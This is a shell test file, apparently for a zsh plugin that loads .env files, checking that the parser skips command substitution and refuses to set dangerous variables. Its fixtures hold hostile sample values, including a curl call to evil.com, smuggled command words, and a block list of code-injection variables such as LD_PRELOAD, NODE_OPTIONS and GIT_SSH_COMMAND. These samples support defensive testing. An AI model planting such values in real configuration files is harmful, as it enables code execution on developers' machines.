security.zunit
5017 bytes
1#!/usr/bin/env zunit
2
3@setup {
4 typeset -g fixture="$(_create_temp_fixture)"
5 typeset -gA expected_vars=()
6}
7
8@teardown {
9 [[ -f "$fixture" ]] && command rm -f "$fixture"
10 unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
11}
12
13@test 'skip dangerous backtick command substitution' {
14 > "$fixture" <<'EOF'
15# Should be skipped
16DANGEROUS_BACKTICK=`whoami`
17EOF
18
19 _parse_dotenv_test "$fixture"
20
21 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
22}
23
24@test 'skip dangerous subshell command substitution' {
25 > "$fixture" <<'EOF'
26# Should be skipped
27DANGEROUS_SUBSHELL=$(date)
28EOF
29
30 _parse_dotenv_test "$fixture"
31
32 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
33}
34
35@test 'skip nested command substitution in double quotes' {
36 > "$fixture" <<'EOF'
37# Should be skipped
38DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
39EOF
40
41 _parse_dotenv_test "$fixture"
42
43 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
44}
45
46@test 'skip multiple words (potential command execution)' {
47 > "$fixture" <<'EOF'
48# Should be skipped - multiple words could execute commands
49BASE_URL=/ echo command run
50EOF
51
52 _parse_dotenv_test "$fixture"
53
54 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
55}
56
57@test 'allow literal command substitution in single quotes' {
58 > "$fixture" <<'EOF'
59# Single quotes make everything literal - should be parsed
60SAFE_SINGLE_QUOTED='$(this is literal)'
61SAFE_BACKTICK='`also literal`'
62
63# Should also be parsed
64SAFE_VAR=safe_value
65EOF
66
67 expected_vars=(
68 SAFE_SINGLE_QUOTED '$(this is literal)'
69 SAFE_BACKTICK '`also literal`'
70 SAFE_VAR 'safe_value'
71 )
72
73 _parse_dotenv_test "$fixture"
74
75 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
76}
77
78@test 'skip backticks in unquoted values' {
79 > "$fixture" <<'EOF'
80# Backticks in unquoted context - should be skipped
81DANGEROUS_UNQUOTED=`echo danger`
82EOF
83
84 _parse_dotenv_test "$fixture"
85
86 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
87}
88
89@test 'skip dollar-paren in unquoted values' {
90 > "$fixture" <<'EOF'
91# Command substitution in unquoted context - should be skipped
92DANGEROUS_UNQUOTED=$(uname -a)
93EOF
94
95 _parse_dotenv_test "$fixture"
96
97 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
98}
99
100@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
101 > "$fixture" <<'EOF'
102# Dollar signs that don't start command substitution
103SAFE_DOLLARS='$HOME is literal'
104SAFE_PRICE='Cost is $50'
105SAFE_VAR='value$123'
106
107# Should all be parsed
108SAFE_VAR2=safe_value
109EOF
110
111 expected_vars=(
112 SAFE_DOLLARS '$HOME is literal'
113 SAFE_PRICE 'Cost is $50'
114 SAFE_VAR 'value$123'
115 SAFE_VAR2 'safe_value'
116 )
117
118 _parse_dotenv_test "$fixture"
119
120 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
121}
122
123@test 'skip quoted command substitution' {
124 > "$fixture" <<'EOF'
125HARMLESS_COMMAND="\$(echo)"
126ANOTHER_ONE=$'\x24\x28echo\x29'
127EOF
128
129 _parse_dotenv_test "$fixture"
130
131 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
132}
133
134@test 'comprehensive security test with mixed safe and dangerous patterns' {
135 > "$fixture" <<'EOF'
136# These should be SKIPPED (dangerous)
137DANGEROUS_BACKTICK=`whoami`
138DANGEROUS_SUBSHELL=$(date)
139DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
140LOOKS_SAFE=$(curl http://evil.com)
141BASE_URL=/ echo command run
142
143# These should WORK (safe)
144SAFE_BEFORE=safe_value_1
145SAFE_AFTER=safe_value_2
146SAFE_SINGLE_QUOTED='$(this is literal)'
147SAFE_SINGLE_QUOTED2='`also literal`'
148SAFE_DOLLARS='$HOME'
149SAFE_PRICE="$50"
150EOF
151
152 expected_vars=(
153 SAFE_BEFORE 'safe_value_1'
154 SAFE_AFTER 'safe_value_2'
155 SAFE_SINGLE_QUOTED '$(this is literal)'
156 SAFE_SINGLE_QUOTED2 '`also literal`'
157 SAFE_DOLLARS '$HOME'
158 SAFE_PRICE '$50'
159 )
160
161 _parse_dotenv_test "$fixture"
162
163 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
164}
165
166
167
168@test 'blocks changes of special environment variables' {
169 _parse_dotenv_test =(<<'EOF'
170# Executes on the next node/npm/npx invocation
171NODE_OPTIONS=--require=./payload.js
172
173# Used for shell initialization
174BASH_ENV=./payload.sh
175# Used for shell initialization in zsh, but also respected by some tools like git
176# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
177# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
178ENV=./payload.sh
179# Used for zsh startup
180ZDOTDIR=./.malicious_zsh
181ZSH=./.malicious_zsh
182
183# These are used for native code injection
184LD_PRELOAD=./payload.so
185LD_LIBRARY_PATH=./malicious_libs
186DYLD_INSERT_LIBRARIES=./payload.dylib
187
188# Git environment variables
189GIT_CONFIG_GLOBAL=./.gitconfig-malicious
190GIT_DIR=./malicious_git_dir
191GIT_EDITOR=./malicious_editor
192GIT_EXTERNAL_DIFF=./malicious_diff
193GIT_EXEC_PATH=./.malicious_git_exec
194GIT_PAGER=./malicious_pager
195GIT_SSH=./malicious_ssh
196GIT_SSH_COMMAND=./malicious_ssh_command
197GIT_SSL_NO_VERIFY=true
198GIT_TEMPLATE_DIR=./malicious_templates # for persistence
199
200# Special exported variables
201PATH=./malicious_bin:$PATH
202EDITOR=./malicious
203VISUAL=./malicious
204PAGER=./malicious
205EOF
206)
207
208 assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
209}